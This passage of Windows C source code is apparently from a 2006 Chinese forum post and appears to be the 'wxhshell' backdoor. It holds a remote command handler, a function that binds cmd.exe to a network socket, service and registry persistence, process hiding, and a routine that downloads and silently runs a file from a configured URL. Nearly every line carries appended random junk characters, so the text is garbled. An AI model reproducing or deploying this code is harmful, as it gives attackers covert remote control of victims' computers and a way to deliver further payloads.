    switch(cmd[0]) { lu]o34  
  #9i6+. Z  
  // 帮助 ujx@@N  
  case '?': { %Z7%jma  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xkM] J)C  
    break; T(JuL<PB  
  } $6# lTYN~  
  // 安装 Rnr#$C%  
  case 'i': { +ZclGchw  
    if(Install()) *!Y- !  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b_|u<  
    else F;pQ\Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zFywC-my@  
    break; !9DX=?  
    } jQ?LHUE  
  // 卸载 #sZIDn J#  
  case 'r': { 1+a@k  
    if(Uninstall()) .1LPlZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7-X/>v  
    else {\EOo-&A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J,(7.+`~#  
    break; MQJ%He"  
    } 3"Yif  
  // 显示 wxhshell 所在路径 0yz~W(tsm  
  case 'p': { BRa{\R^I  
    char svExeFile[MAX_PATH]; 9_UN.]  
    strcpy(svExeFile,"\n\r"); +bUW!$G  
      strcat(svExeFile,ExeFile); ljVIE/iq  
        send(wsh,svExeFile,strlen(svExeFile),0); =e{.yggE  
    break; r1;e 0\?`  
    } Yy hny[fa9  
  // 重启 lVoik *,B  
  case 'b': { ETO$9}x[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3{e'YD~hP  
    if(Boot(REBOOT)) T9?54r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;%Q&hwj  
    else { 2d8=h6  
    closesocket(wsh); ) |MJnx9  
    ExitThread(0); Gm A!Mo  
    } 7}%H2$Do  
    break; =Dk7RKoHF  
    } 8+>\3j  
  // 关机 I+" lrU  
  case 'd': { 5kn+ >{jh`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,Kw5Ro`I:  
    if(Boot(SHUTDOWN)) :6D0j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AF$\WWrB  
    else { /H)Br~ l  
    closesocket(wsh); $P nLG]X  
    ExitThread(0); +c) TDH  
    } ne*#+Q{E  
    break; =EpJZt  
    } :u/mTZDi  
  // 获取shell 7"cv|6y|  
  case 's': { [!~}S  
    CmdShell(wsh); pj; I)-d/  
    closesocket(wsh); cDeZMsV  
    ExitThread(0); k>5O`Y:  
    break; 0 iR R{a<  
  } "!KpXBc,>  
  // 退出 R ]P;sk5  
  case 'x': { >1ZJ{se  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6P*O&1hv  
    CloseIt(wsh); sS9%3i/>  
    break; 8r^ ~0nm  
    } WYszk ,E  
  // 离开 Q7GY3X*kA  
  case 'q': { N4wA#\-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); m|F:b}0Hb  
    closesocket(wsh); w z=z?AZW  
    WSACleanup(); P1V1as  
    exit(1); ;#/0b{XFj  
    break; VLdB_r3lQ  
        } IzUo0D*@  
  } &{z<kmc$6  
  } P^i.La,  
< kP+eD  
  // 提示信息 d#>y}H9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &z@~B&O  
} nIBFk?)6  
  } h}&b+ 1{X  
]tY:,Mfs  
  return; Wi$dZOcSJ  
} %Q~CB7ILK  
j O8k6<l  
// shell模块句柄 K)N0,Qwu  
int CmdShell(SOCKET sock) |[1D$Qv  
{ PJ q yvbD  
STARTUPINFO si; W)4QOS&  
ZeroMemory(&si,sizeof(si)); H?Jm'\~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z<"K_bj   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; > 0.W`j(s  
PROCESS_INFORMATION ProcessInfo; dR+1aY;  
char cmdline[]="cmd"; WG5W0T_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fdv`7u+}a  
  return 0; BsLG^f  
} W^3;F1  
1@_T  m  
// 自身启动模式 n:4uA`Vg  
int StartFromService(void) Z cpmquf8L  
{ /3B6 Mtb  
typedef struct _0(7GE13p  
{ b{5K2k&,  
  DWORD ExitStatus; Tlodn7%",  
  DWORD PebBaseAddress; ]KuMz p!  
  DWORD AffinityMask; GEe`ZhG,  
  DWORD BasePriority; J/W{/E>;  
  ULONG UniqueProcessId; RU&_j* U  
  ULONG InheritedFromUniqueProcessId; _Qd,VE 8u  
}   PROCESS_BASIC_INFORMATION; FxRXPt FK  
r;gP}H ?  
PROCNTQSIP NtQueryInformationProcess; '\~^TFi  
*#&*`iJ(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; YZE.@Rz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O#_b7i  
<Kt3PyF  
  HANDLE             hProcess; >M;u*Go`QO  
  PROCESS_BASIC_INFORMATION pbi; g^~Kze  
tju|UhP3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &`!^Zq vG  
  if(NULL == hInst ) return 0; aGoE,5  
7r 0,> 3"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;3m!:l  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,1 UZv>}S  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Qa`hR  
^b-18 ~s  
  if (!NtQueryInformationProcess) return 0; m,_d^  
nII^mg~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); sl|_=oXT  
  if(!hProcess) return 0; ycr"Y|  
Wa'sZ#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0 f/.>1M=  
%2l7Hmp4H  
  CloseHandle(hProcess); uT_!'l$fr  
!#x=JX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !GK$[9  
if(hProcess==NULL) return 0; q/gB<p9  
G/?~\ }:s  
HMODULE hMod; <{J5W6  
char procName[255]; " I+p  
unsigned long cbNeeded; -?a<qa?$  
GWP dv  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p>*i$  
P?ep]  
  CloseHandle(hProcess); +K$NAT  
C)RBkcb  
if(strstr(procName,"services")) return 1; // 以服务启动 e@]Wh)  
pa<qZZ  
  return 0; // 注册表启动 XbXA+ey6  
} 9#/(N#>  
N{C;~'M2ce  
// 主模块 H+C6[W=  
int StartWxhshell(LPSTR lpCmdLine) oC |WBS  
{ \%A%s*1  
  SOCKET wsl; xN0*8  
BOOL val=TRUE; V H^AcO  
  int port=0; &KC!*}<tx  
  struct sockaddr_in door; XcfKx@l  
z2yJ#  
  if(wscfg.ws_autoins) Install(); =zg:aTMti  
2+"r~#K*  
port=atoi(lpCmdLine); JXU2CyMY  
8E^@yZo{  
if(port<=0) port=wscfg.ws_port; \wav?;z  
*r,b=8|  
  WSADATA data; \f Lvw  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r/:%}(7;  
+cB&Mi5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >cR)?P/o  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3OqX/z,  
  door.sin_family = AF_INET; XvGA|Ekf<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]!{y a8  
  door.sin_port = htons(port); K k[`dR;  
kBEmmgL  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sz95i|@/  
closesocket(wsl); Ug"rJMZG  
return 1; ! . HnGb+  
} g!J0L7 i|  
-$a>f4]  
  if(listen(wsl,2) == INVALID_SOCKET) { 0@=MOGQb  
closesocket(wsl); H AB#pd9  
return 1; $#NQ <3  
} F} DUEDND*  
  Wxhshell(wsl); eiMH['X5  
  WSACleanup(); 6[dur'x  
,^s  
return 0; )R)a@op  
40P) 4w  
} 4FMF|U  
6`H.%zM  
// 以NT服务方式启动 xi'>mIT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^4$ 'KIq  
{ cPF<D$B  
DWORD   status = 0; pa]"iZz  
  DWORD   specificError = 0xfffffff; g"8 .}1)~r  
m:CTPzAt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +|RB0}hFS-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {I1~-8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G*8GGWB^a  
  serviceStatus.dwWin32ExitCode     = 0; }iN2KeLAF  
  serviceStatus.dwServiceSpecificExitCode = 0; t}p@:'  
  serviceStatus.dwCheckPoint       = 0; Zm TDQ`Ix  
  serviceStatus.dwWaitHint       = 0; ^y_fRP~  
`sHuM*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +V(5w`qx  
  if (hServiceStatusHandle==0) return; lX!`zy{3k  
6j9)/H P  
status = GetLastError(); c+' =hR[  
  if (status!=NO_ERROR) &*,:1=p  
{ c| ~6Ie  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; e 9$C#D> D  
    serviceStatus.dwCheckPoint       = 0; %Z]'!X  
    serviceStatus.dwWaitHint       = 0; d5j_6X  
    serviceStatus.dwWin32ExitCode     = status; h#}YKWL  
    serviceStatus.dwServiceSpecificExitCode = specificError; \ZXLX'-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7*H:Ob)9k  
    return; e;95a  
  } x K%=  
9uB(Mx(-:`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; wsfd8T4  
  serviceStatus.dwCheckPoint       = 0; <9A@`_';Aq  
  serviceStatus.dwWaitHint       = 0; Ka_S n  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >v5k{Cbp0  
} 83ipf"]*  
!fkep=  
// 处理NT服务事件,比如:启动、停止 dj9 ?t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ZU2laqa_  
{ R MYP"  
switch(fdwControl) -e@!  
{ $ChK]v 6C  
case SERVICE_CONTROL_STOP: }-<zWI {p  
  serviceStatus.dwWin32ExitCode = 0; qCMl!g'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ./-JbW  
  serviceStatus.dwCheckPoint   = 0; }ynT2a#LU'  
  serviceStatus.dwWaitHint     = 0; E8}+k o  
  { !b|'Vp^U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D^F{u Dlb  
  } 3TuC+'`G  
  return; \k8rxW  
case SERVICE_CONTROL_PAUSE: keAcKhj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }E^S]hdvz  
  break; 'Pltn{iq[  
case SERVICE_CONTROL_CONTINUE: MQ/ A]EeL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; adEJk  
  break; q 2? X"!  
case SERVICE_CONTROL_INTERROGATE: 6vzk\n  
  break; \>/M .2  
}; HRa@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rp34?/Nz  
} &lc8G  
L):qu  
// 标准应用程序主函数 LxN*)[Wb  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4/> Our 5  
{ 2s ,8R  
P* #8 ZMA<  
// 获取操作系统版本 +FFG#6e  
OsIsNt=GetOsVer(); 4jm K].  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S5=Udd"  
4N? v  
  // 从命令行安装 I?!rOU= 0  
  if(strpbrk(lpCmdLine,"iI")) Install(); -0HkTY  
u V6g[J  
  // 下载执行文件 yl]FP@N(  
if(wscfg.ws_downexe) { 2YwVU.*>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D vkxI<Xa  
  WinExec(wscfg.ws_filenam,SW_HIDE); TQ :/RT  
} !UBO_X%dz  
V1=*z  
if(!OsIsNt) { =H]F`[B=  
// 如果时win9x,隐藏进程并且设置为注册表启动 "kW!{n  
HideProc(); TJ@Cjy%  
StartWxhshell(lpCmdLine); -C7FuD[Xw  
} 0(>rG{u  
else ph:3|d  
  if(StartFromService()) Mio>{%/  
  // 以服务方式启动 g9h(sLSF  
  StartServiceCtrlDispatcher(DispatchTable); 25{ uz  
else **_&i!dtL  
  // 普通方式启动 ")#<y@Rv  
  StartWxhshell(lpCmdLine); <!^ [~`  
cSP*f0n,eo  
return 0; y7u^zH6wj  
}
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只看该作者 1 发表于: 2006-10-10
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